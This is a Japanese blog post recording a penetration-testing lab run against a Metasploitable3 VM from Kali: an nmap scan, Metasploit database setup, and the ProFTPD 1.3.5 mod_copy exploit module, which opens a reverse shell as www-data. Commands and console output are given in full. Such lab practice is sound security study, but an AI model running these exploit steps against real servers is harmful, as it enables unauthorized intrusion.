スクリーンショット_2020-02-12_13

Metasploitable3の脆弱性を突いてみる その1

今まで、研究では結構触ってきてたのと、Web上にもいろいろ情報が多くあること、Kali-linuxと一緒にテスト環境に使われていたりなどしていることもあって、Metasploitable「2」はかなり詳しくなってるしコンテナで仮想マシンとほぼ遜色ない環境は作れているのですが、Metasploitable「3」はずっと手を出してなかったです。今回いろいろやってみたこともあり、せっかくなのでちょっと纏めてみようと思います。

Win環境はWSL2とか、Windowsサンドボックスとか、注目の機能はあれど現状では完全コンテナ化は難しいので、やりたいこととは直接関係無いので今回はubnutuのイメージのほうでやっています。

環境

Mac上のVirtualBoxでMetasploitable3とKali linuxを稼働させてます。KaliのGUIは久々に見ましたが、なんかちょっと可愛くなりましたか・・・?Metasploitable3の導入は過去記事に書いたので省略。クイックスタートもあるし大丈夫かと思いますがどうでしょうか。
全然関係無いけど、WindowsでHyper-V有効になってるとVirtualBoxうまくうごかないのはVirtualBox6.0以降で解消されるんじゃなかったっけ。さっきできなかった。Docker Desktop for Windows入れた後にVirtualBox立ち上げようとしてエラーになってビビりました。余談。

スクリーンショット 2020-02-12 14.05.35

Nmapポートスキャン

とりあえず、Kaliのターミナルからnmapでポートスキャンして、どんなものが動いてるか調査していきます。xmlで保存してmetasploitで読み込めるようにしておこうと思います。

kali@kali:~$ nmap -sV -Pn -T4 -p 1-65535 -oX metasploitable3.xml 172.28.128.3

最後のIPが対象のMetasploitable3マシンになります。結果はこちら。

スクリーンショット 2020-02-12 14.18.38

思ったより少ない・・・?構築方法間違ってるかな。その可能性もありますが、とりあえず今のこの状況で攻められるところを攻めてしまいましょう。おらおら!

Metasploit準備

早く攻撃したい気持ち(?)を鎮めて、前準備でMetasploitフレームワークのDB初期化ってのをやっておきます。

kali@kali:~$ sudo msfdb init

We trust you have received the usual lecture from the local System
administrator. It usually boils down to these three things:

    #1) Respect the privacy others.
    #2) Think before you type.
    #3) With great power comes great responibility.

[sudo]password for kali:
[+] Starting database
[+] Creating database user 'msf'
[+] Creating databases 'msf'
[+] Creating databases 'msf_test'
[+] Creating configuration file '/usr/share/metasploit-framework/config/database.yml'
[+] Creating initial database schema

そんで、Metasploit起動させてみます。

kali@kali:~$ msfconsole
                                                 
 +-------------------------------------------------------+
 |  METASPLOIT by Rapid7                                 |                                                                                                                                              
 +---------------------------+---------------------------+                                                                                                                                              
 |      __________________   |                           |                                                                                                                                              
 |  ==c(______(o(______(_()  | |""""""""""""|======[***  |                                                                                                                                              
 |             )=\           | |  EXPLOIT   \            |                                                                                                                                              
 |            // \\          | |_____________\_______    |                                                                                                                                              
 |           //   \\         | |==[msf >]============\   |                                                                                                                                              
 |          //     \\        | |______________________\  |                                                                                                                                              
 |         // RECON \\       | \(@)(@)(@)(@)(@)(@)(@)/   |                                                                                                                                              
 |        //         \\      |  *********************    |                                                                                                                                              
 +---------------------------+---------------------------+                                                                                                                                              
 |      o O o                |        \'\/\/\/'/         |                                                                                                                                              
 |              o O          |         )======(          |                                                                                                                                              
 |                 o         |       .'  LOOT  '.        |                                                                                                                                              
 | |^^^^^^^^^^^^^^|l___      |      /    _||__   \       |                                                                                                                                              
 | |    PAYLOAD     |""\___, |     /    (_||_     \      |                                                                                                                                              
 | |________________|__|)__| |    |     __||_)     |     |                                                                                                                                              
 | |(@)(@)"""**|(@)(@)**|(@) |    "       ||       "     |                                                                                                                                              
 |  = = = = = = = = = = = =  |     '--------------'      |                                                                                                                                              
 +---------------------------+---------------------------+                                                                                                                                              


      =[ metasploit v5.0.71-dev                          ]
+ -- --=[ 1962 exploits - 1095 auxiliary - 336 post       ]
+ -- --=[ 558 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

msf5 > 

無事起動したので、先ほどのポートスキャンした結果をDBに読み込んでおきます。

msf5 > db_import metasploitable3.xml
[*] Importing 'Nmap XML' data
[*] Import: Parsing with 'Nokogiri v1.10.7'
[*] Importing host 172.28.128.3
[*] Successfully imported /home/kali/metasploitable3.xml

msf5 > hosts

Hosts
=====

address       mac  name  os_name  os_flavor  os_sp  purpose  info  comments
-------       ---  ----  -------  ---------  -----  -------  ----  --------
172.28.128.3             Unknown                    device         

msf5 > services
Services
========

host          port  proto  name         state   info
----          ----  -----  ----         -----   ----
172.28.128.3  21    tcp    ftp          open    ProFTPD 1.3.5
172.28.128.3  22    tcp    ssh          open    OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 Ubuntu Linux; protocol 2.0
172.28.128.3  80    tcp    http         open    Apache httpd 2.4.7
172.28.128.3  445   tcp    netbios-ssn  open    Samba smbd 3.X - 4.X workgroup: WORKGROUP
172.28.128.3  631   tcp    ipp          open    CUPS 1.7
172.28.128.3  3000  tcp    ppp          closed  
172.28.128.3  3306  tcp    mysql        open    MySQL unauthorized
172.28.128.3  3500  tcp    http         open    WEBrick httpd 1.3.1 Ruby 2.3.7 (2018-03-28)
172.28.128.3  6697  tcp    irc          open    UnrealIRCd
172.28.128.3  8181  tcp    http         open    WEBrick httpd 1.3.1 Ruby 2.3.7 (2018-03-28)

msf5 > 

ちゃんと読み込めているようです。

01_ProFTPD 1.3.5

上から順番に行ってみようかなということで、ポート21で実行中のProFTPD 1.3.5に対して調べてみます。

msf5 > search proftpd
                                                                                                                                                                                                        
Matching Modules                                                                                                                                                                                         
================                                                                                                                                                                                         
                                                                                                                                                                                                        
  #  Name                                         Disclosure Date  Rank       Check  Description
  -  ----                                         ---------------  ----       -----  -----------
  0  exploit/freebsd/ftp/proftp_telnet_iac        2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (FreeBSD)
  1  exploit/linux/ftp/proftp_sreplace            2006-11-26       great      Yes    ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)
  2  exploit/linux/ftp/proftp_telnet_iac          2010-11-01       great      Yes    ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
  3  exploit/linux/misc/netsupport_manager_agent  2011-01-08       average    No     NetSupport Manager Agent Remote Buffer Overflow
  4  exploit/unix/ftp/proftpd_133c_backdoor       2010-12-02       excellent  No     ProFTPD-1.3.3c Backdoor Command Execution
  5  exploit/unix/ftp/proftpd_modcopy_exec        2015-04-22       excellent  Yes    ProFTPD 1.3.5 Mod_Copy Command Execution

いくつかモジュールが出てきましたが、Descriptionの項目見ると、このバージョンで対象になるのは一番下のものみたいですね。ちなみにこういう脆弱性だそうです。

Metasploit Moduleはこれ

使うモジュールを選んで、必要なオプションを確認します。

msf5 > use exploit/unix/ftp/proftpd_modcopy_exec 
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       HTTP port (TCP)
  RPORT_FTP  21               yes       FTP port
  SITEPATH   /var/www         yes       Absolute writable website path
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Base path to the website
  TMPPATH    /tmp             yes       Absolute writable path
  VHOST                       no        HTTP server virtual host


Exploit target:

  Id  Name
  --  ----
  0   ProFTPD 1.3.5

RHOSTSとSITEPATHあたりを設定してあげたら行けそうですね。

msf5 exploit(unix/ftp/proftpd_modcopy_exec) > set RHOSTS 172.28.128.3
RHOSTS => 172.28.128.3
msf5 exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html

実行してみます。実行のコマンドっていくつかあったはずですが、私はなんか「exploit」って入れるのが好きです。脳内で掛け声っぽく再生されてる。呪文唱えるみたいな?

msf5 exploit(unix/ftp/proftpd_modcopy_exec) > exploit

[*] Started reverse TCP handler on 172.28.128.7:4444 
[*] 172.28.128.3:80 - 172.28.128.3:21 - Connected to FTP server
[*] 172.28.128.3:80 - 172.28.128.3:21 - Sending copy commands to FTP server
[*] 172.28.128.3:80 - Executing PHP payload /tn11NKJ.php
[*] Command shell session 1 opened (172.28.128.7:4444 -> 172.28.128.3:60031) at 2020-02-12 00:54:48 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
whoami
www-data
uname -n
metasploitable3-ub1404

id、whoami、uname -nあたりで見ると、metasploitable3のマシンにwww-dataユーザとして入り込めてるのがわかります!!ざわざわ。

基本的なやり方はこんな感じだと思いまが、目的としてはこれと全く同じことをコンテナでもできるようにしておくことなので、あくまでここは調査段階にはなります。でも自分用メモとしてnmapのスキャンで出てきたものは全部できるようにしようと思います。

これ全部やったらちょっとした本ぐらいになるかな。

この記事が気に入ったらサポートをしてみませんか?